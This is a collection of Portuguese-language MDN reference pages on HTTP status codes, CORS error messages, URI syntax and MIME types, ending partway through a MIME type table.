{"title":"201 Created - HTTP","text":"201 Created\n===========\n\nO status HTTP \"**201 Created**\" é utilizado como resposta de sucesso, indica que a requisição foi bem sucedida e que um novo recurso foi criado. Este novo recurso é efetivamente criado antes do retorno da resposta e o novo recurso é enviado no corpo da mensagem (pode vir na URL ou na header `Location`).\n\nComumente, este status é utilizado em requisições do tipo `POST`.\n\nStatus\n------\n```\n\n201 Created\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.3.2: 201 Created | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja mais\n---------\n\n* HTTP request methods"}
{"title":"418 I'm a teapot - HTTP","text":"418 I'm a teapot\n================\n\nO código de erro HTTP para o cliente **`418 I'm a teapot`** indica que o servidor se recusa a preparar café por ser um bule de chá. Este erro é uma referência ao *Hyper Text Coffee Pot Control Protocol*, que foi uma piada de 1º de abril de 1998.\n\nStatus\n------\n```\n\n418 I'm a teapot\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 2324, sessão 2.3.2: 418 I'm a teapot | Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Wikipedia: Hyper Text Coffee Pot Control Protocol"}
{"title":"307 Redirecionamento temporário - HTTP","text":"307 Redirecionamento temporário\n===============================\n\nHTTP O código de estado **`307 Redirecionamento temporário`** indica que o recurso da requisição foi temporariamente alterado para a URL informada no cabeçalho `Location`.\n\nO método e o corpo da requisição original são reutilizados para realizar a requisição de redirecionamento. Em casos onde você deseja que o método utilizado seja alterado para `GET`, utilize o código de estado `303 See Other`. Isto é util quando você deseja dar uma resposta a um método `PUT` que não seja o recurso enviado, mas uma mensagem de confirmação (como por exemplo \"Envio de XYZ concluído com sucesso\").\n\nA única diferença entre `307` e `302` é que o `307` garante que o método e o corpo não são alterados quando o redirecionamento é feito. Com o `302`, alguns clientes antigos alteram o método para `GET`: o comportamento com métodos não-`GET` e `302` fica assim imprevisível na Web, enquanto o comportamento com `307` é previsível. Para requisições `GET`, seu comportamento é identico.\n\nStatus\n------\n```\n\n307 Redirecionamento temporário\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.4.7: 307 Temporary Redirect | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `302 Found`, o equivalente a este código de estado, que pode mudar o método utilizado quiando não é um `GET`.\n* `303 See Other`, um redirecionamento temporário que altera o método utilizado para `GET`.\n* `301 Moved Permanently`, um redirecionamento permanente."}
{"title":"431 Request Header Fields Too Large - HTTP","text":"431 Request Header Fields Too Large\n===================================\n\nO código de stauts de resposta HTTP **`431 Request Header Fields Too Large`** indica que o servidor se recusou a processar a requisição por que os cabeçalhos HTTP da mesma são muito grandes. A requisição *pode* ser resubmetida depois de o tamanho dos cabeçalhos serem reduzidos.\n\n**`431`** pode ser usado quando o **tamanho total** dos cabeçalhos da requisição são muito grandes, ou quando um **único** cabeçalho da requisição é muito grande. Para ajudar aqueles que estão encontrando esse erro, indicar quais dos dois é o problema através do corpo da resposta - idealmente inclua quais são os cabeçalhos que são muito grandes. Isso permite aos usuários a possibilidade de poder arrumar o problema, como limpando os *cookies* deles.\n\nServidores vão produzir esse status frequentemente se:\n\n* O cabeçalho `Referer` URL é muito longo;\n* Existem muitos Cookies sendo enviados na requisição\nStatus\n------\n```\n\n431 Request Header Fields Too Large\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 6585, sessão 5: 431 Request Header Fields Too Large | Additional HTTP Status Codes |\n\nVeja também\n-----------\n\n* `414 URI Too Long`\n* Request header"}
{"title":"400 Bad Request - HTTP","text":"400 Bad Request\n===============\n\nO código de status de resposta HTTP **`400 Bad Request`** indica que o servidor não pode ou não irá processar a requisição devido a alguma coisa que foi entendida como um erro do cliente (por exemplo, sintaxe de requisição mal formada, enquadramento de mensagem de requisição inválida ou requisição de roteamento enganosa).\n\n**Aviso:** O cliente não deve repetir essa requisição sem modificá-la.\n\nStatus\n------\n```\n\n400 Bad Request\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.1: 400 Bad Request | Hypertext Transfer Protocol (HTTP/1.1): Semânticas e conteúdo |\n\nVeja também\n-----------\n\n* 400 Bad Request"}
{"title":"Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’ - HTTP","text":"Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘\\*’\n============================================================================================\n\nMotivo\n------\n```\n\nReason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’\n```\n\nO que houve de errado?\n----------------------\n\nA requisição CORS foi realizada com a flag de credenciais definida, mas o servidor está configurado para usar o coringa (`\"*\"`) como valor do cabeçalho `Access-Control-Allow-Origin`, o que não permite o uso de credenciais.\n\nPara corrigir o problema do lado do cliente, assegure que a flag de credenciais é `false` ao fazer a requisição CORS.\n\n* Se a requisição foi realizada usando `XMLHttpRequest`, assegure-se que você não setou `withCredentials` (en-US) para `true`.\n* Usando Server-sent events (en-US), verifique se `EventSource.withCredentials` (en-US) está `false` (é o valor padrão).\n* Se usar a Fetch API, assegure-se que `Request.credentials` (en-US) está como `\"omit\"`.\n\nSe, em vez disso, você precisar ajustar o comportamento do servidor, você deverá alterar o valor de `Access-Control-Allow-Origin` para permitir acesso para a origem do qual o cliente é carregado.\n\nVeja também\n-----------\n\n* CORS errors (en-US)\n* Glossary: CORS\n* CORS introduction"}
{"title":"Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP","text":"Reason: CORS header 'Access-Control-Allow-Origin' missing\n=========================================================\n\nMotivo\n------\n```\n\nReason: CORS header 'Access-Control-Allow-Origin' missing\n```\n\nO que houve de errado?\n----------------------\n\nA resposta à requisição CORS está sem o cabeçalho `Access-Control-Allow-Origin` necessário, que é usado para determinar se o recurso pode ser acessado ou não pelo conteúdo operando dentro da origem atual.\n\nSe o servidor estiver sob seu controle, adicione a origem do site solicitante ao conjunto de domínios de acesso permitido, adicionando-o ao valor do cabeçalho `Access-Control-Allow-Origin`.\n\nPor exemplo, para permitir que um site da origem `https://amazing.site` acesse ao recurso usando CORS, o cabeçalho deve conter:\n```\n\nAccess-Control-Allow-Origin: https://amazing.site\n```\n\n\nVocê também pode configurar um site para permitir que qualquer site o acesse usando o curinga `\"*\"`. Você só deve usar isso para APIs públicas. As APIs privadas nunca devem usar `\"*\"` e devem ter um domínio ou domínios específicos definidos. Além disso, o curinga só funciona para solicitações feitas com o atributo `crossorigin` definido como `\"anonymous\"`.\n```\n\nAccess-Control-Allow-Origin: *\n```\n\n\n**Aviso:** **Advertência:** Usar o caractere curinga para permitir que todos os sites acessem uma API privada é uma péssima ideia para o que deve ser uma razão óbvia.\n\nPor exemplo, no Apache, adicione uma linha como a seguinte à configuração do servidor (na seção `<Directory>`, `<Location>`, `<Files>` ou `<VirtualHost>` apropriada). A configuração é tipicamente encontrada em um arquivo `.conf` (`httpd.conf` e `apache.conf` são nomes comuns para estes), ou em um arquivo `.htaccess`.\n```\n\nHeader set Access-Control-Allow-Origin 'origin-list'\n```\n\n\nNo Nginx, O comando para configurar este cabeçalho é:\n```\n\nadd_header 'Access-Control-Allow-Origin' 'origin-list'\n```\n\nVeja também\n-----------\n\n* CORS errors (Erros do CORS) (en-US)\n* Glossário: CORS\n* CORS introduction (Introdução ao CORS)"}
{"title":"Razão: A requisição CORS não foi bem sucedida - HTTP","text":"Razão: A requisição CORS não foi bem sucedida\n=============================================\n\nRazão\n-----\n```\n\nRazão: A requisição CORS não foi bem sucedida\n```\n\nO que deu errado?\n-----------------\n\nA requisição HTTP que faz uso do CORS falhou porque a conexão HTTP falhou a nível da camada de transporte ou protocolo. O erro não é diretamente relacionado ao CORS, mas é um tipo de erro fundamental de rede.\n\nEm alguns casos, isso é causado por um plug-in do navegador (um bloqueador de anúncios ou protetor de privacidade) bloqueando a solicitação.\n\nOutras possíveis causas incluem:\n\n* Tentar acessar um recurso https que possui um certificado inválido causará esse erro.\n* Tentar acessar um recurso http de uma página com origem https também causará esse erro.\n* No Firefox 68, as páginas https não têm permissão para acessar http: // localhost, embora isso possa ser alterado pelo Bug 1488740.\n* O servidor não respondeu à solicitação atual (mesmo que tenha respondido ao Preflight request). Um cenário pode ser um serviço HTTP em desenvolvimento que entre em pânico sem retornar nenhum dado.\nVeja também\n-----------\n\n* Erros de CORS (en-US)\n* Glossary: CORS\n* Introdução ao CORS"}
{"title":"Reason: CORS request not HTTP - HTTP","text":"Reason: CORS request not HTTP\n=============================\n\nRazão\n-----\n```\n\nRazão: Requisição CORS não é HTTP\n```\n\nO que deu errado?\n-----------------\n\nRequisições CORS devem apenas usar o esquema de URL HTTPS, mas a URL especificada pela requisição é de um tipo diferente. Isso geralmente ocorre se a URL especifica um arquivo local, usando uma URL `file:///`.\n\nPara consertar esse problema, apenas certifique-se que você está usando URLs HTTPS quando emitir requisições que envolvam CORS.\n\n### Segurança de Arquivos Locais no Firefox 68\n\nQuando um usuário abria uma página usando uma URI `file:///` no Firefox 67 ou anterior, a origem da página era definida como sendo o diretório do qual a página era aberta. Recursos existentes no mesmo diretório e nos subdiretórios eram tratados como tendo a mesma origem de acordo com a regra de mesma-origem do CORS.\n\nEm resposta ao CVE-2019-11730, o Firefox, a partir da versão 68, define a origem da página aberta pela URI `file:///` como única. Desta maneira, outros recursos do mesmo diretório ou subdiretório não satisfazem mais à regra de mesma-origem do CORS. Este novo comportamento está habilitado por padrão pela preferência de nome `privacy.file_unique_origin`.\n\nVeja também\n-----------\n\n* CORS errors (en-US)\n* Glossário: CORS\n* CORS introduction\n* What is a URL? (en-US)"}
{"title":"Identificando recursos na web - HTTP","text":"Identificando recursos na web\n=============================\n\nO alvo de uma requisição HTTP é chamada de \"resource\", ou recurso em português, com a natureza ainda não definida; Isso pode ser um documento, uma foto ou qualquer outra coisa. Cada recurso é identificado por uma Identificação de recursos uniforme, do inglês **Uniform Resource Identifier** (URI) usada pelo HTTP para identificar recursos.\n\nA identidade e a localização de recursos na Web são fornecidas, principalmente por um único URL (Uniform Resource Locator, um tipo de URI). Pode ser que as vezes as a identidade e a localização não são dadas pelo mesmo URI: O HTTP usa um cabeçalho HTTP específico, `Alt-Svc` quando o recurso solicitado quer que o cliente acesse-o de outra localização\n\nURLs e URNs\n-----------\n\n### URLs\n\nA forma mais comum de URL é o Uniform Resource Locator (URL) , que é conhecido como endereço de Web.\n```\n\nhttps://developer.mozilla.org\nhttps://developer.mozilla.org/pt-BR/docs/Learn/\nhttps://developer.mozilla.org/pt-BR/search?q=URL\n```\n\n\nQualquer um desses URLs podem ser digitado na barra de endereços do seu navegador dizendo para carregar a página associada (recurso).\n\nUma URL é composta por diferentes partes, algumas são estritamente necessárias e outras são opcionais. Um exemplo mais complexo seria algo como isso:\n```\n\nhttp://www.exemplo.com:80/pasta/para/meu-arquivo.html?chave1=valor1&chave2=valor2#AlgumaCoisaNoDocumento\n```\n\n### URNs\n\nUm Nome de Recurso Uniforme do inglês Uniform Resource Name (URN) é uma URI que identifica um recurso pelo nome em um namespace particular.\n```\n\nurn:isbn:9780141036144\nurn:ietf:rfc:7230\n```\n\n\nAs duas URNs correspondem\n\n* o livro Nineteen Eighty-Four por George Orwell,\n* a especificação 720 da IETF, Hypertext Transfer Protocol (HTTP/1.1): Sintaxe de mensagem e rotas.\nSintaxe daUniform Resource Identifiers (URIs)\n---------------------------------------------\n\n### Esquema ou protocolo\n\n![Protocol](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-protocol@x2.png)\n\n`http://` é o protocolo. Ele indica qual é o protocolo que o navegador irá usar. Usualmente o protocolo é o HTTP, ou sua versão segura, HTTPS. A Web requer um desses dois, mas os navegadores tambem sabem como lidar com outros protocolos como o `mailto:` (para abrir um cliente de email) ou o `ftp:` para fazer uma transferêcia de arquivo, então não fique surpreso se ver alguns desses protocolos. Esquemas comuns são:\n\n\n\n| Esquema | Descrição |\n| --- | --- |\n| data | URI de dados (en-US) |\n| file | Nomes de arquivos específicos do host |\n| ftp | Protocolo de transferência de arquivo (en-US) |\n| http/https | Hyper text transfer protocol (Secure) |\n| mailto | Endereço de correio eletrônico (e-mail) |\n| ssh | Secure shell |\n| tel | telefone |\n| urn | Uniform Resource Names |\n| view-source | Código fonte de um recurso |\n| ws/wss | Conecções de WebSocket (Encriptadas) |\n\n### Autoridade\n\n![Domaine Name](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-domain@x2.png)\n\n`www.example.com` é o nome de domínio ou autoridade que governa o namespace. Ele indica qual servidor web será solicitado. Alternativamente, é possível utilizar um IP address, mas isso pode ser menos conveniente e não é muito utilizado na Web.\n\n### Porta\n\n![Port](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-port@x2.png)\n\n`:80` é a porta nesta instância . Ela indica qual é o \"portão\" técnico usado para acessar os recursos no servidor web. Usualmente ela é omitida se o servidor web utiliza a porta padrão do protocolo HTTP (80 para HTTP e 443 para HTTPS) para garantir o acesso aos recursos. Do contrário, ela se torna obrigatória.\n\n### Caminhos\n\n![Path to the file](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-path@x2.png)\n\n`/path/to/myfile.html` é o caminho para o recurso no servidor Web. Nos primeiros dias da Web, um caminho era representado pelo caminho físico correspondente no servidor web. Hoje em dia isso é mais uma abstração tratada pelos servidores Web não sendo necessariamente o endereço físico do arquivo em questão.\n\n### Query / Parâmetros\n\n![Parameters](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-parameters@x2.png)\n\n`?key1=value1&key2=value2` são parâmetros extras fornecidos ao servidor Web. Eles são uma lista de pares chaves/valores separados com o símbolo `&` O servidor web pode usar esses parametros para fazer coisas extras depois retornando o recurso para o usuário. Cada servidor web tem suas regras em relação aos parâmetros, e o unico jeito confiável de saber como um servidor Web especifico trata os parâmetros é perguntando o dono do servidor.\n\n### Fragmentos\n\n![Anchor](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-anchor@x2.png)\n\n`#SomewhereInTheDocument` é uma âncora para outra parte do próprio recurso. Uma âncora representa uma espécie de \"marcador\" dentro do recurso, dando ao navegador as instruções para mostrar o conteúdo localizado naquele ponto \"marcado\". Em um documento HTML, por exemplo, o navegador erá dar scroll para a ancora em um ponto definido; em um vídeo ou audio, o navegor erá tentar ir para o tempo que a âncora representa. Vale ressaltar que a parte após o #, também conhecido como identificador de fragmento, nunca é enviado ao servidor com o pedido.\n\nNotas de uso\n------------\n\nAo usar URLs em conteúdo HTML em geral se deve usar apenas alguns desses esquemas URL. Apenas os esquemas HTTP e HTTPS devem ser usados quando se faz referência a subrecursos — isto é, arquivos carregados como parte de um documento maior. Por razões de segurança, os navegadores estão reduzindo cada vez mais o suporte a FTP para o carregamento de subrecursos.\n\nFTP ainda é aceito em alguns casos específicos de acesso direto, como quando a URL é digitada diretamente na barra do navegador ou como o alvo em um link, ainda que alguns navegadores possam delegar o carregamento do conteúdo FTP para outra aplicação.\n\nExemplos\n--------\n```\n\nhttps://developer.mozilla.org/pt-BR/docs/Learn\ntel:+1-816-555-1212\ngit@github.com:mdn/browser-compat-data.git\nftp://example.org/resource.txt\nurn:isbn:9780141036144\n```\n\nEspecificações\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7230, sessão 2.7: Uniform Resource Identifiers | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing |\n\nVeja também\n-----------\n\n* O que é uma URL? (en-US)\n* Lista de esquemas URI IANA"}
{"title":"MIME types - HTTP","text":"MIME types\n==========\n\nO **MIME type** é o mecanismo para dizer ao cliente a variedade de documentos transmitidos: a extensão de um nome de arquivo não tem significado na web. Portanto, é importante que o servidor esteja configurado corretamente, de modo que o *MIME-type* correto seja transmitido com cada documento. Os navegadores costumam usar o *MIME-type* para determinar qual ação usar como padrão para fazer quando um recurso é obtido.\n\nExistem muitos tipos de documentos, por isso há muitos *MIME-types*. Neste artigo, listaremos os mais importantes para o desenvolvimento da Web, mas você pode encontrá-los para os tipos de documento aplicáveis neste artigo dedicado: Lista completa de *MIME types* (en-US)*.*\n\n*MIME types* não são a única maneira de transmitir as informações do tipo de documento:\n\n* Os sufixos de nome são usados às vezes, especialmente em sistemas Microsoft Windows. Nem todos os sistemas operacionais consideram esses sufixos significativos (especialmente Linux e Mac OS), e como um tipo MIME externo, não há garantia de que eles estejam corretos.\n* Números mágicos. A sintaxe dos diferentes tipos de arquivos permite a inferência de tipo de arquivo, olhando para a estrutura. Por exemplo. Cada arquivo GIF começa com o valor hexadecimal 47 49 46 38 [GIF89] ou arquivos PNG com 89 50 4E 47 [.PNG]. Nem todos os tipos de arquivos têm números mágicos, portanto este não é um sistema 100% confiável.\n\nNa Web, apenas o *MIME type* é relevante e deve ser definido com cuidado. Navegadores e servidores usavam frequentemente heurísticas baseadas em sufixos ou números mágicos para definir o tipo MIME, verificar a coerência ou encontrar o tipo MIME correto quando apenas um tipo genérico foi fornecido.\n\nSintaxe\n-------\n\n### Estrutura geral\n```\n\ntipo/subtipo\n```\n\n\nA estrutura de um *MIME type* é muito simples; Consiste de um tipo e um subtipo, duas strings, separados por um '/'. Nenhum espaço é permitido. O tipo representa a categoria e pode ser um tipo *discreto* ou *multipart*. O subtipo é específico para cada tipo.\n\nUm *MIME type* é case-insensitive mas tradicionalmente é escrito tudo em minúsculas.\n\n### Tipos discretos\n```\n\ntext/plain\ntext/html\nimage/jpeg\nimage/png\naudio/mpeg\naudio/ogg\naudio/*\nvideo/mp4\napplication/octet-stream\n…\n```\n\n\nTipos *discretos* indicam a categoria do documento, ele pode ser um dos seguintes:\n\n| Tipo | Descrição | Exemplos de subtipos típicos |\n| --- | --- | --- |\n| `text` | Representa qualquer documento que contenha texto e é teoricamente legivel para o ser humano. | `text/plain`, `text/html`, `text/css, text/javascript` |\n| `image` | Representa qualquer tipo de imagens. Os vídeos não estão incluídos, embora imagens animadas (como gif animado) sejam descritas com um tipo de imagem. | `image/gif`, `image/png`, `image/jpeg`, `image/bmp`, `image/webp` |\n| `audio` | Representa qualquer tipo de arquivo de audio | `audio/midi`, `audio/mpeg, audio/webm, audio/ogg, audio/wav` |\n| `video` | Representa qualquer tipo de arquivo de video | `video/webm`, `video/ogg` |\n| `application` | Representa qualquer tipo de dados binários. | `application/octet-stream`, `application/pkcs12`, `application/vnd.mspowerpoint`, `application/xhtml+xml`, `application/xml`, `application/pdf` |\n\nPara documentos de texto sem um subtipo especifico, **`text/plain`** deverá ser usado. Assim como, para documentos binários sem subtipo especifico ou conhecido, **`application/octet-stream`** deverá ser usado.\n\n### Tipos de multipart\n```\n\nmultipart/form-data\nmultipart/byteranges\n```\n\n\n*Multipart types* indicam uma categoria de documento que são quebrados em partes distintas, muitas vezes com diferentes tipos MIME. É uma maneira de representar um documento composto. Com exceção de `multipart/form-data`, que são usados em relação de formularios HTML e metodo `POST`, e `multipart/byteranges` que são usados em conjunto com `206` `Mensagem de status de conteúdo parcial para enviar apenas um subconjunto de um documento inteiro, o HTTP não manipula documentos de várias partes de uma maneira específica: a mensagem é simplesmente transmitida ao navegador (o que provavelmente irá propor uma janela Salvar como, sem saber como exibir o documento).`\n\nImportantes *MIME types* para desenvolvedores Web\n-------------------------------------------------\n\n### `application/octet-stream`\n\nEste é o valor padrão para um arquivo binario. Como é um arquivo binário desconhecido, os navegadores geralmente não irá executá-lo automaticamente, ou irá perguntar se ele deve ser executado. Eles tratam-na como se o cabeçalho `Content-Disposition` fosse definido com o anexo de valor e propusessem um \"Salvar como\".\n\n### `text/plain`\n\nEste é o valor padrão para arquivos de texto. Mesmo se realmente significa arquivo textual desconhecido, os navegadores assumem que eles podem exibi-lo.\n\n**Nota:** Note que `text/plain` não significa qualquer tipo de dados textuais. Se eles esperam um tipo específico de dados textuais, eles provavelmente não consideram uma correspondência. Especificamente se eles baixarem um arquivo `text/plain` de um elemento `<link>` declarando arquivos CSS, eles não o reconhecerão como arquivos CSS válidos se forem apresentados com `text/plain`.\n O CSS mime tipo `text/css` deve ser usado.\n\n\n### `text/css`\n\n Quaisquer arquivos CSS que têm de ser interpretados como tal em uma página da Web devem ser dos arquivos de `text/css`. Muitas vezes os servidores não reconhecem arquivos com o sufixo .css como arquivos CSS, em vez disso, enviam-nos com o tipo MIME de `text/plain` ou `application/octet-stream`: nesses casos, eles não serão reconhecidos como arquivos CSS pela maioria dos navegadores e serão silenciosamente ignorados.\n Atenção especial tem de ser paga para servir arquivos CSS com o tipo correto.\n\n### `text/html`\n\nTodo o conteúdo HTML deve ser exibido com este tipo. Tipos MIME alternativos para XHTML (como `application/xml+html)` são em sua maioria inúteis hoje em dia (HTML5 unificou esses formatos).\n\n### Images types\n\nApenas um punhado de tipos de imagem são amplamente reconhecidos e são considerados seguros na Web, prontos para uso em uma página da Web:\n\n| MIME type | Image type |\n| --- | --- |\n| `image/gif` | GIF images (Compressão sem perdas, substituído por PNG) |\n| `image/jpeg` | JPEG images |\n| `image/png` | PNG images |\n| `image/svg+xml` | SVG images (vector images) |\n\nHá uma discussão para adicionar WebP (image / webp) a esta lista, mas como cada novo tipo de imagem irá aumentar o tamanho de um codebase, isso pode introduzir novos problemas de segurança, então os fornecedores de navegador são cautelosos em aceitá-lo.\n\n Outros tipos de imagens podem ser encontrados em documentos da Web. Por exemplo, muitos navegadores suportam tipos de imagem de ícones para favicons ou similares.\n Em particular, as imagens do ICO são suportadas neste contexto com o tipo MIME `image/x-icon`.\n\n### Audio and video types\n\nComo as imagens, o HTML não define um conjunto de tipos suportados para usar com os elementos `<audio>` e `<video>` , de modo que apenas um grupo relativamente pequeno deles pode ser Usado na Web. Os formatos de mídia suportados pelos elementos de áudio e vídeo em HTML (en-US) explicam os codecs e formatos de contêiner que podem ser usados.\n\nO tipo MIME de tais arquivos principalmente representam os formatos de contêiner e os mais comuns em um contexto da Web são:\n\n| MIME type | Audio or video type |\n| --- | --- |\n| `audio/wave` `audio/wav` `audio/x-wav` `audio/x-pn-wav` | Um arquivo de áudio no formato de recipiente WAVE. O codec de áudio PCM (WAVE codec \"1\") é freqüentemente suportado, mas outros codecs têm suporte mais limitado (se houver). |\n| `audio/webm` | Um arquivo de áudio no formato de contêiner WebM. Vorbis e Opus são os codecs de áudio mais comuns. |\n| `video/webm` | Um arquivo de vídeo, possivelmente com áudio, no formato de contêiner WebM. VP8 e VP9 são os codecs video os mais comuns usados dentro dele; Vorbis e Opus os codecs de áudio mais comuns. |\n| `audio/ogg` | Um arquivo de áudio no formato de contêiner OGG. Vorbis é o codec de áudio mais comum usado em tal recipiente. |\n| `video/ogg` | Um arquivo de vídeo, possivelmente com áudio, no formato de contêiner OGG. Theora é o codec video usual usado dentro dele; Vorbis é o codec de áudio usual. |\n| `application/ogg` | Um arquivo de áudio ou vídeo usando o formato de contêiner OGG. Theora é o codec video usual usado dentro dele; Vorbis é o codec de áudio usual. |\n\n### `multipart/form-data`\n\nO tipo `multipart/form-data` pode ser usado ao enviar o conteúdo de um formulario HTML preenchido do navegador para o servidor. Como um documento multipart formal, consiste em partes diferentes, delimitado por um limite (uma seqüência de caracteres começando com um traço duplo '--'). Cada parte é uma entidade por si só, com seus próprios cabeçalhos HTTP, `Content-Disposition`, e `Content-Type` Para os campos de upload de arquivos, e os mais comuns (`Content-Length` É ignorada como a linha de limite é usada como o delimitador).\n```\n\nContent-Type: multipart/form-data; boundary=aBoundaryString\n(Outros cabeçalhos associados ao documento em várias partes como um todo)\n\n--aBoundaryString\nContent-Disposition: form-data; name=\"myFile\"; filename=\"img.jpg\"\nContent-Type: image/jpeg\n\n(dados)\n--aBoundaryString\nContent-Disposition: form-data; name=\"myField\"\n\n(dados)\n--aBoundaryString\n(mais subpartes)\n--aBoundaryString--\n```\n\n\nO seguinte formulario:\n\n\n```html\n<form action=\"http://localhost:8000/\" method=\"post\" enctype=\"multipart/form-data\">\n  <input type=\"text\" name=\"myTextField\">\n  <input type=\"checkbox\" name=\"myCheckBox\">Check</input>\n  <input type=\"file\" name=\"myFile\">\n  <button>Send the file</button>\n</form>\n```\n\n\nEnviará esta mensagem:\n```\n\nPOST / HTTP/1.1\nHost: localhost:8000\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\nContent-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498\nContent-Length: 465\n\n-----------------------------8721656041911415653955004498\nContent-Disposition: form-data; name=\"myTextField\"\n\nTest\n-----------------------------8721656041911415653955004498\nContent-Disposition: form-data; name=\"myCheckBox\"\n\non\n-----------------------------8721656041911415653955004498\nContent-Disposition: form-data; name=\"myFile\"; filename=\"test.txt\"\nContent-Type: text/plain\n\nSimple file.\n-----------------------------8721656041911415653955004498--\n```\n\n### `multipart/byteranges`\n\nO tipo MIME `multipart/byteranges` é usado no contexto de enviar respostas parciais para o navegador. Quando o código de status de conteúdo parcial `206` é enviado, este tipo MIME é usado para indicar que o documento é composto de várias partes, uma para cada um do intervalo solicitado. Como outros tipos de multipart, o `Content-Type` usa a diretiva de limite para definir a seqüência de limites. Cada uma das diferentes partes tem um cabeçalho `Content-Type` com o tipo real do documento e um `Content-Range` com o intervalo que representam.\n```\n\nHTTP/1.1 206 Partial Content\nAccept-Ranges: bytes\nContent-Type: multipart/byteranges; boundary=3d6b6a416f9b5\nContent-Length: 385\n\n--3d6b6a416f9b5\nContent-Type: text/html\nContent-Range: bytes 100-200/1270\n\neta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n    <meta name=\"vieport\" content\n--3d6b6a416f9b5\nContent-Type: text/html\nContent-Range: bytes 300-400/1270\n\n-color: #f0f0f2;\n        margin: 0;\n        padding: 0;\n        font-family: \"Open Sans\", \"Helvetica\n--3d6b6a416f9b5--\n```\n\nImportância de definir o `MIME type` correto\n--------------------------------------------\n\nA maioria dos servidores web envia recursos de tipo desconhecido usando o tipo MIME de application/octet-stream padrão. Por razões de segurança, a maioria dos navegadores não permite definir uma ação padrão personalizada para esses recursos, forçando o usuário a armazená-lo no disco para usá-lo. Algumas configurações de servidor incorretamente exibidas ocorrem com os seguintes tipos de arquivo:\n\n* Arquivos RAR-codificados. Neste caso, o ideal seria definir o verdadeiro tipo de arquivos codificados; Isso muitas vezes não é possível (como pode não ser conhecido para o servidor e esses arquivos podem conter vários recursos de tipos diferentes). Nesse caso, configure o servidor para enviar o tipo MIME `application/x-rar-compressed`.\n* Arquivos de áudio e vídeo. Somente recursos com o Tipo MIME correto serão reconhecidos e reproduzidos em elementos `<video>` ou `<áudio>`. Certifique-se de usar o tipo correto para áudio e vídeo.\n* Tipos de arquivos proprietários. Preste especial atenção ao servir um tipo de arquivo proprietário. Evite usar o `application/octet-stream` como manipulação especial não será possível: a maioria dos navegadores não permitem definir um comportamento padrão (como \"Abertura no Word\") para este tipo MIME genérico.\nMIME sniffing\n-------------\n\n Na ausência de um tipo MIME, ou em alguns outros casos em que um cliente acredita que estão incorrectamente definidos, os navegadores podem conduzir MIME sniffing, que está adivinhando o tipo MIME correto, olhando para o recurso. Cada navegador executa isso de forma diferente e em circunstâncias diferentes. Existem algumas preocupações de segurança com esta prática,\n Como alguns tipos MIME representam conteúdo executável e outros não. Os servidores podem bloquear MIME sniffing enviando o `X-Content-Type-Options` ao longo do `Content-Type`.\n\nSee also\n--------\n\n* Properly configuring server MIME types (en-US)\n* Media formats supported by the HTML audio and video elements (en-US)"}
{"title":"Lista Incompleta de tipos MIME - HTTP","text":"Lista Incompleta de tipos MIME\n==============================\n\nAbaixo uma lista de tipos de MIME, associadas por tipos de documentos, ordenados por suas extensões comuns.\n\nHá dois tipo MIME que são importantes para tipos padrões:\n\n* `text/plain` é o tipo padrão para arquivos de texto. Um arquivo de texto deve ser legível para um ser humano, e não deve conter dados binários.\n* `application/octet-stream` É um tipo padrão para todos outros casos. Um tipo de arquivo desconhecido deveria usar este tipo. Navegadores tomarão mais cuidado ao manipular esses arquivos, tentando proteger o usuário e prevenir comportamentos perigosos.\n\nIANA é o registrador official de tipos de mídia MIME e mantém uma lista de todos tipos oficiais de MIME. Esta tabela lista alguns tipos de MIME importantes para a Web.\n\n| Extensão | Tipo do documento | Tipo MIME |\n| --- | --- | --- |\n| `.aac` | Arquivo de audio AAC | `audio/aac` |\n| `.abw` | Documento AbiWord | `application/x-abiword` |\n| `.arc` | Archive document (multiple files embedded) | `application/octet-stream` |\n| `.avi` | Arquivo de audio e vídeo Intercalar AVI | `video/x-msvideo` |\n| `.azw` | Formato eBook do Amazon Kindle | `application/vnd.amazon.ebook` |\n| `.bin` | Qualquer tipo de dados binários | `application/octet-stream` |\n| `.bz` | Arquivo compactado BZip | `application/x-bzip` |\n| `.bz2` | Arquivo compactado BZip2 | `application/x-bzip2` 